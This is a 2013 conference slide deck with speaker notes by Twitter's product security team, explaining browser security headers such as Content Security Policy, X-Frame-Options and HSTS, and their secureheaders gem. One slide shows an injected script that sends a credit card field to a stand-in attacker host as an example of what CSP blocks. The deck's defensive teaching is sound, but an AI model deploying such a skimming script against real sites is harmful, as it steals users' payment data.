2. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
It’s all about me
I’ve been called a jackass
I’ve been called an “appsechole”
I have opinions
Opinions are often wrong
Please disagree with me
That’s how we learn
10. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Do you use these?
Content security policy
X-Frame-Options
HTTP Strict Transport Security
X-Xss-Protection
X-Content-Type-Options
11. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
I’m already bored
Time to get awesomer
12. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Security headers
Leverage the browser for security
13. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Sweeeeet. I don’t have write secure code!
16. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
X-ContentType-Options
Fixes mime sniffing attacks
Only applies to IE, because only IE would do something
like this
X-Content-Type-Options = ‘nosniff’
zzzzZZZZZZzzzzz
17. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
X-Xss-Protection
Use the browser’s built in XSS Auditor
X-Xss-Protection: [0-1](; mode=block)?
X-Xss-Protection: 1; mode=block
zzzzZZZ... huh? zzzzzzzz
18. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
X-Frame-Options
Protects you from most classes of
Clickjacking
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW FROM example.com
zzz... oh hey thats cool. Don’t frame my stuff.
20. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Firesheep/SSL Strip
Given I don’t have an HSTS header
And I have a session
When I visit http://example.com
Then I am pwned
21. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Other ssl fails
Posting passwords over HTTP
Loading mixed content
Using protocol relative URLS
23. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
How hard is it to use?
Base Case
Strict-transport-security: max-age=10000000
Do all of your subdomains support SSL?
Strict-transport-security: max-age=10000000; includeSubdomains
24. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Content secur-a-wat?
Content security policy is reshaping the security model
It is a complicated spec with great differences across browsers
It is not widely adopted
However!
It completely eliminates reflected and stored XSS
It ensures that you never load mixed content
It allows you to accept arbitrary html code from users
26. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
QuickTime™ and a
H.264 decompressor
are needed to see this picture.
27. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Get rid of XSS, eh?
A script-src directive that doesn’t contain ‘unsafe-inline’ almost
eliminates most forms of cross site scripting.
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
30. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
But I have to...
OK, then I’ll inject:
<script>
var image = new Image();
image.src = “cyberhacker.com/steal?data=”+ $(‘#credit_card’).val();
</script>
FALSE! img-src violation, no XHR allowed
33. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
How to apply?
Secure headers! (poor name, I know)
Open sourced earlier this year
https://github.com/twitter/secureheaders
34. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
How does it work?
It sets a before_filter that applies each header
Values are based on options passed to filter, or in an initializer
Easily overridden
Secure by default!!!
35. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
What about that security policy thingy
There are > 6 differences between these two header values
36. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Yay for standards
https://t.co/f26WWx3r7y
38. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Long hair don’t care
About browser inconsistencies
39. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
W3
Get involved!!!
Key results from F2F in San Jose
40. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Line numbers and column numbers
Previously, a report that was caused by inline scripts/styles was cryptic
Original FF implementation contained a script-sample
Evals/inserting script into DOM would be buried in minified JS
41. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
“sudo for javascript”
Bookmarklets/plugins/etc
How should they behave?
Bookmarklets show clear intention
Plugins somewhat questionable
Need to live outside the control of the parent page
But how?
42. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Reporting cross-origin
Original implementation did not allow CSP reports to be sent to a URI
that does not match the same origin policy, using the eTLD
e.g. https://ads.twitter.com can send reports to https://twitter.com,
but not http://twitter.com or https://support.twitter.com or https://twitter.com:3000
As a result of the w3 face to face, the 1.0 spec shall say that reports can
be sent anywhere!
However, cross-origin requests not allowed by CORS will be “unauthenticated”
43. @LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
script-(nonce|hash)
The clash of the titans
My name is Alex Smolen, this is Neil Matatall and this is Justin Collins. We're on Twitter's Product Security team and today we're going to talk to you about security automation at Twitter.
Content security policy defines what can "run" on a page and any deviation creates an alert. And Twitter was an early adopter. We saw that this could not only potentially protect our users, but give a large number of data points as to what the user is experiencing. We have used CSP to help detect XSS and mixed-content by leveraging the reports sent to us by the users' browsers. This compliments the static and dynamic analysis provided by brakeman and phantom-gang in a unique way as we are receiving information from the user. We send the CSP reports to a central scribe host (describe: massively scalable endpoint to collect and aggregate large amounts of data) which writes to hadoop file system which we can run "big data" reports against using pig/scalding. We send this information to SADB where we can search and sort more easily.
With the help of whitehats, we tracked down and fixed a lot of these bugs.
For example, we can use static analysis to check for common coding problems, dynamic analysis for obvious problems on websites, and maybe CSP to get XSS reports to us sooner
The first is that we believe writing secure code is not just a technical challenge, but also a social one, and tools should be built based on supporting and enhancing existing social processes. Unless it's one person writing, analyzing, and shipping code, then communicating about vulnerabilities is just as a important as finding them. And effective communication is really hard. We're not talking about emailing a huge report of maybe bugs to a project manager. We're talking about delivering all of the necessary information to diagnose and fix a vulnerability in a simple and user-centered view.
The next principle is about finding and fixing things as quickly as possible. It's not a new idea, but as a guiding principle it leads you to be ruthless about bottlenecks, latencies, and root causes.
There's a lot of ways to find security problems, and you get diminishing returns from each. We have tools that live on our servers, tools that live outside our server, tools that live in our users browsers, all meant to catch different types of issues.
Most people want to do the right thing. We want to make it easy for them.
Take a survey
Many of these headers not encourage best practices while providing a better user experience and saving resources
save resources since nothing is framed
Twitter has had clickjacking problems in the past. While xfo does not solve all clickjacking issues, it does solve a very common case and is generally a very quick win that is easy to integrate.
hsts preload and max-age
Explain how redirecting to https doesn’t protect the initial request Save round trip
Explain mixed content: MITM assets Firesheep Cookies sent Supported in webkit (phantomjs) accept arbitrary and safe because inserted scripts won’t execute on* events javascript uris restrict using eval
script tag on* events javascript: hrefs Even mention inline style As a policy, no inline script should be added, moratorium on inline script well received
A report from one of our wonderful whitehat reporters gave us a drop of happiness when he said that a successful xss attempt had been thwarted by CSP. TRANSITION: we took stock of what headers were implemented on our properties, and we were not satisfied. They were applied inconsistently and a by a variety of one-off methods.
Mention github blog post There are a few, mostly well known, ways to solve this - data attributes, blocks of code parsed as json mention the application of the header
strings or hashes
Caching and hosted content concerns
Talk about custom elements, being able to attach one way behavior like framing in a sandbox solving the clickjackable follow button html dom aware templating resource integrity
Yeah, some browsers protect you, but not all support it
Given that the browsers give us some baked in security and they take a relatively small amount of effort to implement, why aren't they more common? It’s a non-intrusive, easily configured way of enxuring that all requests get the necessary headers applied. We created a gem for Rails applications, and we intend to apply the same logic to our other frameworks as well.
Content security policy defines what can "run" on a page and any deviation creates an alert. And Twitter was an early adopter. We saw that this could not only potentially protect our users, but give a large number of data points as to what the user is experiencing. We have used CSP to help detect XSS and mixed-content by leveraging the reports sent to us by the users' browsers. This compliments the static and dynamic analysis provided by brakeman and phantom-gang in a unique way as we are receiving information from the user. We send the CSP reports to a central scribe host (describe: massively scalable endpoint to collect and aggregate large amounts of data) which writes to hadoop file system which we can run "big data" reports against using pig/scalding. We send this information to SADB where we can search and sort more easily.